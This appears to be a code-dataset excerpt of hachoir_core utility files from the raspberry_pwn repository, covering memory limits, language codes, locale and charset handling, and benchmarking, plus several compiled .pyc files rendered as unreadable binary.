getrlimit(RLIMIT_AS)[0] if 0 < limit: limit *= PAGE_SIZE return limit except ValueError: return None def setMemoryLimit(max_mem): if max_mem is None: max_mem = -1 try: setrlimit(RLIMIT_AS, (max_mem, -1)) return True except ValueError: return False except ImportError: pass def limitedMemory(limit, func, *args, **kw): """ Limit memory grow when calling func(*args, **kw): restrict memory grow to 'limit' bytes. Use try/except MemoryError to catch the error. """ # First step: clear cache to gain memory clearCaches() # Get total program size max_rss = getMemorySize() if max_rss is not None: # Get old limit and then set our new memory limit old_limit = getMemoryLimit() limit = max_rss + limit limited = setMemoryLimit(limit) else: limited = False try: # Call function return func(*args, **kw) finally: # and unset our memory limit if limited: setMemoryLimit(old_limit) # After calling the function: clear all caches clearCaches()
2,448
Python
.py
83
22.831325
77
0.601619
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,463
language.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/language.py
from hachoir_core.iso639 import ISO639_2 class Language: def __init__(self, code): code = str(code) if code not in ISO639_2: raise ValueError("Invalid language code: %r" % code) self.code = code def __cmp__(self, other): if other.__class__ != Language: return 1 return cmp(self.code, other.code) def __unicode__(self): return ISO639_2[self.code] def __str__(self): return self.__unicode__() def __repr__(self): return "<Language '%s', code=%r>" % (unicode(self), self.code)
586
Python
.py
17
26.882353
70
0.571936
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,464
tools.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/tools.pyc
—Ú Œ »Mc @s÷dZddklZlZddkZddkZddklZlZlZddk l Z ddÑZ dÑZ dÑZd ÑZd ÑZd ÑZd ÑZd ÑZdÑZdÑZeidÉZedÑedÉDÉÉZdeedÑZdÑZdÑZdÑZ dÑZ!dÑZ"edddÉZ#dÑZ$edddÉZ%dÑZ&dÑZ'edddd d d ÉZ(d!ÑZ)ed"d#d$d d d ÉZ*d%ÑZ+ed&ÑZ,eid'ÉZ-d(ÑZ.dS()s Various utilities. iˇˇˇˇ(t_tngettextN(tdatetimet timedeltatMAXYEAR(twarncsáfdÜ}|S(s[ This is a decorator which can be used to mark functions as deprecated. It will result in a warning being emmitted when the function is used. Examples: :: @deprecated def oldfunc(): ... @deprecated("use newfunc()!") def oldfunc2(): ... Code from: http://code.activestate.com/recipes/391367/ csAááfdÜ}ài|_ài|_|iiàiÉ|S(NcsIdài}ào|dà7}nt|dtddÉà||éS(NsCall to deprecated function %ss: tcategoryt stackleveli(t__name__RtDeprecationWarning(targstkwargstmessage(tcommenttfunc(s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pytnewFuncs  (Rt__doc__t__dict__tupdate(RR(R (Rs</pentest/enumeration/google/metagoofil/hachoir_core/tools.pyt _deprecateds   ((R R((R s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pyt deprecated s cCs&||djo |||SdSdS(sŸ Compute size of a padding field. >>> paddingSize(31, 4) 1 >>> paddingSize(32, 4) 0 >>> paddingSize(33, 4) 3 Note: (value + paddingSize(value, align)) == alignValue(value, align) iN((tvaluetalign((s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pyt paddingSize*s  cCs*||djo||||S|SdS(s‡ Align a value to next 'align' multiple. >>> alignValue(31, 4) 32 >>> alignValue(32, 4) 32 >>> alignValue(33, 4) 36 Note: alignValue(value, align) == (value + paddingSize(value, align)) iN((RR((s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pyt alignValue<scCs%|id|i|idddS(s¸ Convert a datetime.timedelta() objet to a number of second (floatting point number). >>> timedelta2seconds(timedelta(seconds=2, microseconds=40000)) 2.04 >>> timedelta2seconds(timedelta(minutes=1, milliseconds=250)) 60.25 gÄÑ.Ai<i(t microsecondstsecondstdays(tdelta((s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pyttimedelta2secondsOs cCsí|djo d|St|dÉ\}}|djod|t|ÉdSt|dÉ\}}|djod|t|ÉdSt|ÉS(s¢ Convert a duration in nanosecond to human natural representation. Returns an unicode string. >>> humanDurationNanosec(60417893) u'60.42 ms' iËu%u nsecu %.2f usecu%.2f ms(tdivmodtfloatt humanDuration(tnsectusectmsec((s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pythumanDurationNanosec\s    cCsét|tÉptd|dÉ}ng}d|ijo|id|idÉnt|idÉ\}}t|dÉ\}}|o|id|Én|o|id|Én|o!|itdd|É|Ént|id É\}}|o!|itd d |É|Én|o!|itd d |É|Éndt|Éjo|d}n |pdSdi t |ÉÉS(s% Convert a duration in millisecond to human natural representation. Returns an unicode string. >>> humanDuration(0) u'0 ms' >>> humanDuration(213) u'213 ms' >>> humanDuration(4213) u'4 sec 213 ms' >>> humanDuration(6402309) u'1 hour 46 min 42 sec' RiËu%u msi<u%u secu%u mins%u hours%u hoursims%u days%u dayss%u years%u yearsii˝ˇˇˇu0 msu ( t isinstanceRRtappendRRRRtlentjointreversed(RttexttminutesRthourstyearsR((s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pyR ts.!!!cCs£|djotdd|É|StdÉtdÉtdÉtdÉg}t|É}d}x4|D],}||}||jod ||fSqeWd ||fS( s/ Convert a file size in byte to human natural representation. It uses the values: 1 KB is 1024 bytes, 1 MB is 1024 KB, etc. The result is an unicode string. >>> humanFilesize(1) u'1 byte' >>> humanFilesize(790) u'790 bytes' >>> humanFilesize(256960) u'250.9 KB' i's%u bytes%u bytestKBtMBtGBtTBis%.1f %ss%u %s(RRR(tsizetunitstdivisortunit((s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pyt humanFilesize†s *   cCsãd}||jotdd|É|Sddddg}t|É}x4|D],}||}||jod||fSqMWd ||fS( s+ Convert a size in bit to human classic representation. It uses the values: 1 Kbit is 1000 bits, 1 Mbit is 1000 Kbit, etc. The result is an unicode string. >>> humanBitSize(1) u'1 bit' >>> humanBitSize(790) u'790 bits' >>> humanBitSize(256960) u'257.0 Kbit' iËs%u bits%u bitsuKbituMbituGbituTbits%.1f %su%u %s(RR(R2R4R3R5((s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pyt humanBitSize∏s     cCsdit|ÉdfÉS(s Convert a bit rate to human classic representation. It uses humanBitSize() to convert size into human reprensation. The result is an unicode string. >>> humanBitRate(790) u'790 bits/sec' >>> humanBitRate(256960) u'257.0 Kbit/sec' ts/sec(R(R7(R2((s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pyt humanBitRate–s cCsd}||jo d|Sddddg}t|É}x4|D],}||}||jod||fSqAWd||fS( s  Convert a frequency in hertz to human classic representation. It uses the values: 1 KHz is 1000 Hz, 1 MHz is 1000 KMhz, etc. The result is an unicode string. >>> humanFrequency(790) u'790 Hz' >>> humanFrequency(629469) u'629.5 kHz' iËu%u HzukHzuMHzuGHzuTHzu%.1f %su%s %s(R(thertzR4R3R5((s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pythumanFrequency‹s      s([\x00-\x1f\x7f])ccsjxc|]\}hdtdÉ6dtdÉ6dtdÉ6dtdÉ6dtd É6i|d |ÉVqWd S( s\ns s\rs s\ts s\ass\bss\x%02xN(tordtget(t.0tcode((s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pys <genexpr>Ûs iÄcCsÙ|oåt|tÉpt|dÉ}d}ntidÑ|É}|oC|djo|i|d|É}ndi|||fÉ}q§n|o d}n|i|dÉ}|otid d |É}n|ot||É}n|S( s@ Prepare a string to make it printable in the specified charset. It escapes control characters. Characters with code bigger than 127 are escaped if data type is 'str' or if charset is "ASCII". Examples with Unicode: >>> aged = unicode("√¢g√©", "UTF-8") >>> repr(aged) # text type is 'unicode' "u'\\xe2g\\xe9'" >>> makePrintable("abc\0", "UTF-8") 'abc\\0' >>> makePrintable(aged, "latin1") '\xe2g\xe9' >>> makePrintable(aged, "latin1", quote='"') '"\xe2g\xe9"' Examples with string encoded in latin1: >>> aged_latin = unicode("√¢g√©", "UTF-8").encode("latin1") >>> repr(aged_latin) # text type is 'str' "'\\xe2g\\xe9'" >>> makePrintable(aged_latin, "latin1") '\\xe2g\\xe9' >>> makePrintable("", "latin1") '' >>> makePrintable("a", "latin1", quote='"') '"a"' >>> makePrintable("", "latin1", quote='"') '(empty)' >>> makePrintable("abc", "latin1", quote="'") "'abc'" Control codes: >>> makePrintable("\0\x03\x0a\x10 \x7f", "latin1") '\\0\\3\\n\\x10 \\x7f' Quote character may also be escaped (only ' and "): >>> print makePrintable("a\"b", "latin-1", quote='"') "a\"b" >>> print makePrintable("a\"b", "latin-1", quote="'") 'a"b' >>> print makePrintable("a'b", "latin-1", quote="'") 'a\'b' s ISO-8859-1tASCIIcSstt|idÉÉS(i(t controlcharsR<tgroup(tregs((s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pyt<lambda>1ss"'s\R8s(empty)tbackslashreplaces\\x0([0-7])(?=[^0-7]|$)s\\\1(R%tunicodetregex_control_codetsubtreplaceR(tencodetre(tdatatcharsettquotet to_unicodetsmart((s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pyt makePrintableˇs$-    cCsqt|tÉot|dÉ}n!t|tÉpt|É}ntidÑ|É}tidd|É}|S(s„ Convert text to printable Unicode string. For byte string (type 'str'), use charset ISO-8859-1 for the conversion to Unicode >>> makeUnicode(u'abc\0d') u'abc\\0d' >>> makeUnicode('a\xe9') u'a\xe9' s ISO-8859-1cSstt|idÉÉS(i(RAR<RB(RC((s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pyRDOss\\x0([0-7])(?=[^0-7]|$)s\\\1(R%tstrRFRGRHRK(R*((s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pyt makeUnicode@s cCsd}t|É}xf||joX||d?}|||É}|djo |}q|djo|d}q|SqWdS(sÇ Search a value in a sequence using binary search. Returns index of the value, or None if the value doesn't exist. 'seq' have to be sorted in ascending order according to the comparaison function ; 'cmp_func', prototype func(x), is the compare function: - Return strictly positive value if we have to search forward ; - Return strictly negative value if we have to search backward ; - Otherwise (zero) we got the value. >>> # Search number 5 (search forward) ... binarySearch([0, 4, 5, 10], lambda x: 5-x) 2 >>> # Backward search ... binarySearch([10, 5, 4, 0], lambda x: x-5) 1 iiN(R'tNone(tseqtcmp_functlowertuppertindextdiff((s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pyt binarySearchSs      cCsxd}t|É}x_|djoQ|d?}||}|||Éo"|}|d7}||d8}q|}qW|S(Nii(R'(RURVtftlthtm((s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pyt lowerBoundts      c Cs6dÑ}||Édddddddddg }x8tddÉD]'}|dd|>@pd||<qCqCW|ti@o-|d djod |d <q©d |d <n|ti@o-|d djod |d <q‰d |d <n|ti@o-|ddjod |d<qd|d<nddi|É|fS(s1 Convert a Unix file attributes (or "file mode") to an unicode string. Original source code: http://cvs.savannah.gnu.org/viewcvs/coreutils/lib/filemode.c?root=coreutils >>> humanUnixAttributes(0644) u'-rw-r--r-- (644)' >>> humanUnixAttributes(02755) u'-rwxr-sr-x (2755)' cSs®ti|Épti|É odSti|ÉodSti|ÉodSti|ÉodSti|ÉodSti|ÉodSti|ÉodSdS( Nt-tbtctdtpR]tst?( tstattS_ISREGtS_IFMTtS_ISBLKtS_ISCHRtS_ISDIRtS_ISFIFOtS_ISLNKtS_ISSOCK(tmode((s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pytftypeletès!trtwtxii i RaitSRfitTttu%s (%o)R8(txrangeRhtS_ISUIDtS_ISGIDtS_ISVTXR((RqRrtcharsti((s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pythumanUnixAttributesÇs& *cs táfdÜ|iÉDÉÉS(s Create a new dictionnay from dictionnary key=>values: just keep value number 'index' from all values. >>> data={10: ("dix", 100, "a"), 20: ("vingt", 200, "b")} >>> createDict(data, 0) {10: 'dix', 20: 'vingt'} >>> createDict(data, 2) {10: 'a', 20: 'b'} c3s)x"|]\}}||àfVqWdS(N((R>tkeytvalues(RY(s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pys <genexpr>∫s (tdictt iteritems(RLRY((RYs</pentest/enumeration/google/metagoofil/hachoir_core/tools.pyt createDictØs i≤icCsht|tttfÉptdÉÇnd|jo djnptdÉÇnttd|ÉS(s^ Convert an UNIX (32-bit) timestamp to datetime object. Timestamp value is the number of seconds since the 1st January 1970 at 00:00. Maximum value is 2147483647: 19 january 2038 at 03:14:07. May raise ValueError for invalid value: value have to be in 0..2147483647. >>> timestampUNIX(0) datetime.datetime(1970, 1, 1, 0, 0) >>> timestampUNIX(1154175644) datetime.datetime(2006, 7, 29, 12, 20, 44) >>> timestampUNIX(1154175644.37) datetime.datetime(2006, 7, 29, 12, 20, 44, 370000) >>> timestampUNIX(2147483647) datetime.datetime(2038, 1, 19, 3, 14, 7) s0timestampUNIX(): an integer or float is requirediiˇˇˇs2timestampUNIX(): value have to be in 0..2147483647R(R%Rtinttlongt TypeErrort ValueErrortUNIX_TIMESTAMP_T0R(R((s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pyt timestampUNIXøs ipcCsgt|tttfÉptdÉÇnd|jo djnptdÉ|Sttd|ÉS(s0 Convert an Mac (32-bit) timestamp to string. The format is the number of seconds since the 1st January 1904 (to 2040). Returns unicode string. >>> timestampMac32(0) datetime.datetime(1904, 1, 1, 0, 0) >>> timestampMac32(2843043290) datetime.datetime(1994, 2, 2, 14, 14, 50) san integer or float is requiredilˇˇsinvalid Mac timestamp (%s)R(R%RRÖRÜRáRtMAC_TIMESTAMP_T0R(R((s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pyttimestampMac32Ÿs cCsWt|tttfÉptdÉÇn|djotdÉÇntd|dÉS(s Convert Windows 64-bit duration to string. The timestamp format is a 64-bit number: number of 100ns. See also timestampWin64(). >>> str(durationWin64(1072580000)) '0:01:47.258000' >>> str(durationWin64(2146280000)) '0:03:34.628000' san integer or float is requiredis*value have to be a positive or nul integerRi (R%RRÖRÜRáRàR(R((s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pyt durationWin64Ès  iAicCsHytt|ÉSWn/tj o#ttdÉt|fÉÇnXdS(s© Convert Windows 64-bit timestamp to string. The timestamp format is a 64-bit number which represents number of 100ns since the 1st January 1601 at 00:00. Result is an unicode string. See also durationWin64(). Maximum date is 28 may 60056. >>> timestampWin64(0) datetime.datetime(1601, 1, 1, 0, 0) >>> timestampWin64(127840491566710000) datetime.datetime(2006, 2, 10, 12, 45, 56, 671000) s"date newer than year %s (value=%s)N(tWIN64_TIMESTAMP_T0Rçt OverflowErrorRàRR(R((s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pyttimestampWin64¸s i.i icCsèt|tttfÉptdÉÇn|djotdÉÇnyttd|dÉSWn)tj ott dÉ|ÉÇnXdS(sp Convert UUID 60-bit timestamp to string. The timestamp format is a 60-bit number which represents number of 100ns since the the 15 October 1582 at 00:00. Result is an unicode string. >>> timestampUUID60(0) datetime.datetime(1582, 10, 15, 0, 0) >>> timestampUUID60(130435676263032368) datetime.datetime(1996, 2, 14, 5, 13, 46, 303236) san integer or float is requiredis*value have to be a positive or nul integerRi s%timestampUUID60() overflow (value=%s)N( R%RRÖRÜRáRàtUUID60_TIMESTAMP_T0RRèR(R((s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pyttimestampUUID60s  cCsSt|iÉÉ}|iddÉ}|o$d|jo|idÉd}n|S(sr Convert a timestamp to Unicode string: use ISO format with space separator. >>> humanDatetime( datetime(2006, 7, 29, 12, 20, 44) ) u'2006-07-29 12:20:44' >>> humanDatetime( datetime(2003, 6, 30, 16, 0, 5, 370000) ) u'2003-06-30 16:00:05' >>> humanDatetime( datetime(2003, 6, 30, 16, 0, 5, 370000), False ) u'2003-06-30 16:00:05.370000' Rwt t.i(RFt isoformatRItsplit(Rtstrip_microsecondR*((s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pyt humanDatetime$s s +cCs4|iddÉ}|iddÉ}tid|ÉS(s Replace Windows and Mac newlines with Unix newlines. Replace multiple consecutive newlines with one newline. >>> normalizeNewline('a\r\nb') 'a\nb' >>> normalizeNewline('a\r\rb') 'a\nb' >>> normalizeNewline('a\n\nb') 'a\nb' s s s (RItNEWLINES_REGEXRH(R*((s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pytnormalizeNewline7s (/Rthachoir_core.i18nRRRKRhRRRtwarningsRRTRRRRR$R R6R7R9R;tcompileRGttupleRyRAtFalsetTrueRQRSR[R`RRÑRâRäRãRåRçRéRêRëRíRòRôRö(((s</pentest/enumeration/google/metagoofil/hachoir_core/tools.pyt<module>sH       ,    A  !  -       
20,206
Python
.py
286
66.363636
621
0.499723
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,465
config.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/config.pyc
Ñò Î ÈMc@sldZddkZdZdZdZeZeZeZ eZ ei djo eZ neZ eZ eZdS(s Configuration of Hachoir iÿÿÿÿNi(iitnt(t__doc__tostmax_string_lengthtmax_byte_lengthtmax_bit_lengthtTruetunicode_stdouttFalsetdebugtverbosetquiettnametuse_i18ntautofixtcheck_padding_pattern(((s=/pentest/enumeration/google/metagoofil/hachoir_core/config.pyt<module>s  
546
Python
.py
7
77
366
0.512963
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,466
i18n.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/i18n.pyc
Ñò Î ÈMc @s,dZddkiZddkZddkZddklZddkZd„Zd„Z ddd„ƒYZ d„Z d „Z d „Z d „ZdddfZedidƒƒdfedidƒƒdfedidƒƒdfedidƒƒdffZdd„Zeƒ\ZZeZdS(si Functions to manage internationalisation (i18n): - initLocale(): setup locales and install Unicode compatible stdout and stderr ; - getTerminalCharset(): guess terminal charset ; - gettext(text) translate a string to current language. The function always returns Unicode string. You can also use the alias: _() ; - ngettext(singular, plural, count): translate a sentence with singular and plural form. The function always returns Unicode string. WARNING: Loading this module indirectly calls initLocale() which sets locale LC_ALL to ''. This is needed to get user preferred locale settings. iÿÿÿÿN(tpathc Cs«ytiƒ}|o|SWntitfj onXy"titiƒ}|o|SWntitfj onXttidƒotii o tii SdS(sg Function used by getTerminalCharset() to get terminal charset. @see getTerminalCharset() tencodingtASCII( tlocaletgetpreferredencodingtErrortAttributeErrort nl_langinfotCODESETthasattrtsyststdoutR(tcharset((s;/pentest/enumeration/google/metagoofil/hachoir_core/i18n.pyt_getTerminalCharsets     cCs5y tiSWn#tj otƒt_tiSXdS(s Guess terminal charset using differents tests: 1. Try locale.getpreferredencoding() 2. Try locale.nl_langinfo(CODESET) 3. Try sys.stdout.encoding 4. Otherwise, returns "ASCII" WARNING: Call initLocale() before calling this function. N(tgetTerminalCharsettvalueRR (((s;/pentest/enumeration/google/metagoofil/hachoir_core/i18n.pyR4s   t UnicodeStdoutcBs#eZd„Zd„Zd„ZRS(cCs||_||_dS(N(tdeviceR (tselft old_deviceR ((s;/pentest/enumeration/google/metagoofil/hachoir_core/i18n.pyt__init__Es cCs|iiƒdS(N(Rtflush(R((s;/pentest/enumeration/google/metagoofil/hachoir_core/i18n.pyRIscCs=t|tƒo|i|idƒ}n|ii|ƒdS(Ntreplace(t isinstancetunicodetencodeR Rtwrite(Rttext((s;/pentest/enumeration/google/metagoofil/hachoir_core/i18n.pyRLs(t__name__t __module__RRR(((s;/pentest/enumeration/google/metagoofil/hachoir_core/i18n.pyRDs  c Cs®ytiodSWntj onXtt_ytitidƒWntitfj onXt ƒ}t i o/t t i|ƒt _t t i|ƒt _|SdS(Nt(t initLocaletis_doneRtTrueRt setlocaletLC_ALLRtIOErrorRtconfigtunicode_stdoutRR R tstderr(R ((s;/pentest/enumeration/google/metagoofil/hachoir_core/i18n.pyRQs     cCs t|ƒS(N(R(R((s;/pentest/enumeration/google/metagoofil/hachoir_core/i18n.pyt_dummy_gettextiscCs4dt|ƒjp| o t|ƒSt|ƒSdS(Ni(tabsR(tsingulartpluraltcount((s;/pentest/enumeration/google/metagoofil/hachoir_core/i18n.pyt_dummy_ngettextls csåtƒ‰tio6yddk}t}WqOtj o t}qOXnt}|p ttfSt i }t i t i tƒddƒ}|i||ƒ|i|ƒ|i‰|i‰‡‡fd†}‡‡fd†}||fS(Niÿÿÿÿs..Rcstˆ|ƒˆƒS((R(R(t translateR (s;/pentest/enumeration/google/metagoofil/hachoir_core/i18n.pyt<lambda>�scstˆ|||ƒˆƒS((R(R*R+R,(R tngettext(s;/pentest/enumeration/google/metagoofil/hachoir_core/i18n.pyR/‘s(RR%tuse_i18ntgettextR!t ImportErrortFalseR(R-t hachoir_coretPACKAGERtjointdirnamet__file__tbindtextdomaint textdomainR0(R2toktpackaget locale_dirtunicode_gettexttunicode_ngettext((R R0R.s;/pentest/enumeration/google/metagoofil/hachoir_core/i18n.pyt _initGettextrs&         ssUTF-8sÿþs UTF-16-LEsþÿs UTF-16-BEu©®éêèàçs ISO-8859-1u©®éêèàç€s ISO-8859-15u©®tMacRomanuεδηιθκμοΡσςυΈίs ISO-8859-7c CsÒx)tD]!\}}|i|ƒo|SqWyt|ddƒ}dSWntj onXyt|ddƒ}dSWntj onXtd„|Dƒƒ}x)tD]!\}}|i|ƒo|Sq©W|S(sü >>> guessBytesCharset("abc") 'ASCII' >>> guessBytesCharset("\xEF\xBB\xBFabc") 'UTF-8' >>> guessBytesCharset("abc\xC3\xA9") 'UTF-8' >>> guessBytesCharset("File written by Adobe Photoshop\xA8 4.0\0") 'MacRoman' >>> guessBytesCharset("\xE9l\xE9phant") 'ISO-8859-1' >>> guessBytesCharset("100 \xA4") 'ISO-8859-15' >>> guessBytesCharset('Word \xb8\xea\xe4\xef\xf3\xe7 - Microsoft Outlook 97 - \xd1\xf5\xe8\xec\xdf\xf3\xe5\xe9\xf2 e-mail') 'ISO-8859-7' RtstrictsUTF-8css0x)|]"}t|ƒdjo |VqqWdS(i€N(tord(t.0tbyte((s;/pentest/enumeration/google/metagoofil/hachoir_core/i18n.pys <genexpr>És (tUTF_BOMSt startswithRtUnicodeDecodeErrortsettCHARSET_CHARACTERSt issuperset(tbytestdefaultt bom_bytesR Rt non_ascii_sett characters((s;/pentest/enumeration/google/metagoofil/hachoir_core/i18n.pytguessBytesCharset¤s(    ((ssUTF-8(sÿþs UTF-16-LE(sþÿs UTF-16-BE(t__doc__thachoir_core.configR%R5RtosRR R RRRR(R-RARGRJRRKtNoneRRR2R0t_(((s;/pentest/enumeration/google/metagoofil/hachoir_core/i18n.pyt<module>s,         $  ,
6,854
Python
.py
72
92.430556
692
0.488938
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,467
i18n.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/i18n.py
# -*- coding: UTF-8 -*- """ Functions to manage internationalisation (i18n): - initLocale(): setup locales and install Unicode compatible stdout and stderr ; - getTerminalCharset(): guess terminal charset ; - gettext(text) translate a string to current language. The function always returns Unicode string. You can also use the alias: _() ; - ngettext(singular, plural, count): translate a sentence with singular and plural form. The function always returns Unicode string. WARNING: Loading this module indirectly calls initLocale() which sets locale LC_ALL to ''. This is needed to get user preferred locale settings. """ import hachoir_core.config as config import hachoir_core import locale from os import path import sys def _getTerminalCharset(): """ Function used by getTerminalCharset() to get terminal charset. @see getTerminalCharset() """ # (1) Try locale.getpreferredencoding() try: charset = locale.getpreferredencoding() if charset: return charset except (locale.Error, AttributeError): pass # (2) Try locale.nl_langinfo(CODESET) try: charset = locale.nl_langinfo(locale.CODESET) if charset: return charset except (locale.Error, AttributeError): pass # (3) Try sys.stdout.encoding if hasattr(sys.stdout, "encoding") and sys.stdout.encoding: return sys.stdout.encoding # (4) Otherwise, returns "ASCII" return "ASCII" def getTerminalCharset(): """ Guess terminal charset using differents tests: 1. Try locale.getpreferredencoding() 2. Try locale.nl_langinfo(CODESET) 3. Try sys.stdout.encoding 4. Otherwise, returns "ASCII" WARNING: Call initLocale() before calling this function. """ try: return getTerminalCharset.value except AttributeError: getTerminalCharset.value = _getTerminalCharset() return getTerminalCharset.value class UnicodeStdout: def __init__(self, old_device, charset): self.device = old_device self.charset = charset def flush(self): self.device.flush() def write(self, text): if isinstance(text, unicode): text = text.encode(self.charset, 'replace') self.device.write(text) def initLocale(): # Only initialize locale once try: if initLocale.is_done: return except AttributeError: pass initLocale.is_done = True # Setup locales try: locale.setlocale(locale.LC_ALL, "") except (locale.Error, IOError): pass # Get the terminal charset charset = getTerminalCharset() if config.unicode_stdout: # Replace stdout and stderr by unicode objet supporting unicode string sys.stdout = UnicodeStdout(sys.stdout, charset) sys.stderr = UnicodeStdout(sys.stderr, charset) return charset def _dummy_gettext(text): return unicode(text) def _dummy_ngettext(singular, plural, count): if 1 < abs(count) or not count: return unicode(plural) else: return unicode(singular) def _initGettext(): charset = initLocale() # Try to load gettext module if config.use_i18n: try: import gettext ok = True except ImportError: ok = False else: ok = False # gettext is not available or not needed: use dummy gettext functions if not ok: return (_dummy_gettext, _dummy_ngettext) # Gettext variables package = hachoir_core.PACKAGE locale_dir = path.join(path.dirname(__file__), "..", "locale") # Initialize gettext module gettext.bindtextdomain(package, locale_dir) gettext.textdomain(package) translate = gettext.gettext ngettext = gettext.ngettext # TODO: translate_unicode lambda function really sucks! # => find native function to do that unicode_gettext = lambda text: \ unicode(translate(text), charset) unicode_ngettext = lambda singular, plural, count: \ unicode(ngettext(singular, plural, count), charset) return (unicode_gettext, unicode_ngettext) UTF_BOMS = ( ("\xEF\xBB\xBF", "UTF-8"), ("\xFF\xFE", "UTF-16-LE"), ("\xFE\xFF", "UTF-16-BE"), ) # Set of valid characters for specific charset CHARSET_CHARACTERS = ( # U+00E0: LATIN SMALL LETTER A WITH GRAVE (set(u"©®éêè\xE0ç".encode("ISO-8859-1")), "ISO-8859-1"), (set(u"©®éêè\xE0ç€".encode("ISO-8859-15")), "ISO-8859-15"), (set(u"©®".encode("MacRoman")), "MacRoman"), (set(u"εδηιθκμοΡσςυΈί".encode("ISO-8859-7")), "ISO-8859-7"), ) def guessBytesCharset(bytes, default=None): r""" >>> guessBytesCharset("abc") 'ASCII' >>> guessBytesCharset("\xEF\xBB\xBFabc") 'UTF-8' >>> guessBytesCharset("abc\xC3\xA9") 'UTF-8' >>> guessBytesCharset("File written by Adobe Photoshop\xA8 4.0\0") 'MacRoman' >>> guessBytesCharset("\xE9l\xE9phant") 'ISO-8859-1' >>> guessBytesCharset("100 \xA4") 'ISO-8859-15' >>> guessBytesCharset('Word \xb8\xea\xe4\xef\xf3\xe7 - Microsoft Outlook 97 - \xd1\xf5\xe8\xec\xdf\xf3\xe5\xe9\xf2 e-mail') 'ISO-8859-7' """ # Check for UTF BOM for bom_bytes, charset in UTF_BOMS: if bytes.startswith(bom_bytes): return charset # Pure ASCII? try: text = unicode(bytes, 'ASCII', 'strict') return 'ASCII' except UnicodeDecodeError: pass # Valid UTF-8? try: text = unicode(bytes, 'UTF-8', 'strict') return 'UTF-8' except UnicodeDecodeError: pass # Create a set of non-ASCII characters non_ascii_set = set( byte for byte in bytes if ord(byte) >= 128 ) for characters, charset in CHARSET_CHARACTERS: if characters.issuperset(non_ascii_set): return charset return default # Initialize _(), gettext() and ngettext() functions gettext, ngettext = _initGettext() _ = gettext
6,011
Python
.py
178
27.792135
127
0.664876
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,468
benchmark.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/benchmark.py
from hachoir_core.tools import humanDurationNanosec from hachoir_core.i18n import _ from math import floor from time import time class BenchmarkError(Exception): """ Error during benchmark, use str(err) to format it as string. """ def __init__(self, message): Exception.__init__(self, "Benchmark internal error: %s" % message) class BenchmarkStat: """ Benchmark statistics. This class automatically computes minimum value, maximum value and sum of all values. Methods: - append(value): append a value - getMin(): minimum value - getMax(): maximum value - getSum(): sum of all values - __len__(): get number of elements - __nonzero__(): isn't empty? """ def __init__(self): self._values = [] def append(self, value): self._values.append(value) try: self._min = min(self._min, value) self._max = max(self._max, value) self._sum += value except AttributeError: self._min = value self._max = value self._sum = value def __len__(self): return len(self._values) def __nonzero__(self): return bool(self._values) def getMin(self): return self._min def getMax(self): return self._max def getSum(self): return self._sum class Benchmark: def __init__(self, max_time=5.0, min_count=5, max_count=None, progress_time=1.0): """ Constructor: - max_time: Maximum wanted duration of the whole benchmark (default: 5 seconds, minimum: 1 second). - min_count: Minimum number of function calls to get good statistics (defaut: 5, minimum: 1). - progress_time: Time between each "progress" message (default: 1 second, minimum: 250 ms). - max_count: Maximum number of function calls (default: no limit). - verbose: Is verbose? (default: False) - disable_gc: Disable garbage collector? (default: False) """ self.max_time = max(max_time, 1.0) self.min_count = max(min_count, 1) self.max_count = max_count self.progress_time = max(progress_time, 0.25) self.verbose = False self.disable_gc = False def formatTime(self, value): """ Format a time delta to string: use humanDurationNanosec() """ return humanDurationNanosec(value * 1000000000) def displayStat(self, stat): """ Display statistics to stdout: - best time (minimum) - average time (arithmetic average) - worst time (maximum) - total time (sum) Use arithmetic avertage instead of geometric average because geometric fails if any value is zero (returns zero) and also because floating point multiplication lose precision with many values. """ average = stat.getSum() / len(stat) values = (stat.getMin(), average, stat.getMax(), stat.getSum()) values = tuple(self.formatTime(value) for value in values) print _("Benchmark: best=%s average=%s worst=%s total=%s") \ % values def _runOnce(self, func, args, 